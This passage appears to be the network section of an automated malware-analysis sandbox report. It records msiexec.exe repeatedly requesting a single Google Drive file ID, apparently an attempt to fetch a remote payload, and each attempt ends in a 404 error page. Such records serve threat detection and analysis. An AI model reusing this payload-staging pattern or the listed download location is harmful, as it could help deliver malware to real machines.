Feb 19, 2025 20:37:08.552968025 CET	64041	53	192.168.2.11	1.1.1.1
Feb 19, 2025 20:37:08.560759068 CET	53	64041	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 19, 2025 20:37:07.421087980 CET	192.168.2.11	1.1.1.1	0x6cc4	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:37:08.552968025 CET	192.168.2.11	1.1.1.1	0x3c64	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 19, 2025 20:37:07.428431988 CET	1.1.1.1	192.168.2.11	0x6cc4	No error (0)	drive.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:37:08.560759068 CET	1.1.1.1	192.168.2.11	0x3c64	No error (0)	drive.usercontent.google.com		172.217.16.129	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49952	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:08 UTC	216	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache
2025-02-19 19:37:08 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:08 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-p5QI4gdHuIydFJOsoDg0IA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49962	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:09 UTC	258	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-02-19 19:37:09 UTC	1919	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iEV-M6xRBKylbHZOuRhWPdT5KtVGXWWiqfBqH84hyb5OIc8I7q3Jhhc9RRLzMC0V0-IA9EK63Q Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:09 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-LM3fBOy5dfVJ_qK3-N5tow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Set-Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc; expires=Thu, 21-Aug-2025 19:37:09 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:09 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 43 37 4c 4c 31 78 37 54 43 69 47 42 54 7a 46 6b 48 4e 78 4e 7a 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="C7LL1x7TCiGBTzFkHNxNzw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49969	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:10 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:10 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:10 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-M21UEDdoAkKWnMrAhAbONA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49979	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:11 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:11 UTC	1541	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iEX9Gm1a4xFQvguwR5hXuoUQE1l7CKL6Ok9qNaTD2OAZQSLvIcYaOQNQTTfX84IwHQbSo7kYRM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:11 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-zZV5bmuc0k8oZQWUZBIlOA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:11 UTC	1541	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 44 4f 6e 48 55 56 67 44 53 34 50 39 6b 5f 61 67 52 56 34 4c 35 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="DOnHUVgDS4P9k_agRV4L5w">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:37:11 UTC	111	IN	Data Raw: 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ts an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49980	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:12 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:12 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:12 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-yEWviIpJIKOTuAvY-Pjarg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49981	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:13 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:14 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iFyN-vFvu5EjdmRejmnZjAIjtmn4LAcC2OQqQs8i02Xvhqq3-U58HzSYNA19a9TdWru Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:13 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-n3R9SZGADYogmx9FHNX6mA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:14 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 78 63 78 57 47 4a 68 64 64 63 4b 50 71 61 45 55 6e 4d 45 69 6a 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="xcxWGJhddcKPqaEUnMEijQ">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:37:14 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49982	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:14 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:15 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:15 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-FD7rMaQA4U0KJEKIQHTvrQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49983	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:15 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:16 UTC	1541	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iFcY0lvrtL4YuvyF8NYRn8i01F3YBChLsAb7Bwyg-RRcWhSePgVly1NnFM2GAc_28sTyW59SvA Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:16 GMT Content-Security-Policy: script-src 'nonce-gc-s49UqbBMVm3-I4ewujA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:16 UTC	1541	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 66 5f 6f 75 2d 2d 79 55 54 4c 39 5a 6c 39 58 68 6c 6a 70 5f 76 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="f_ou--yUTL9Zl9Xhljp_vA">*{margin:0;padding:0}html,code{font:15px/22px arial
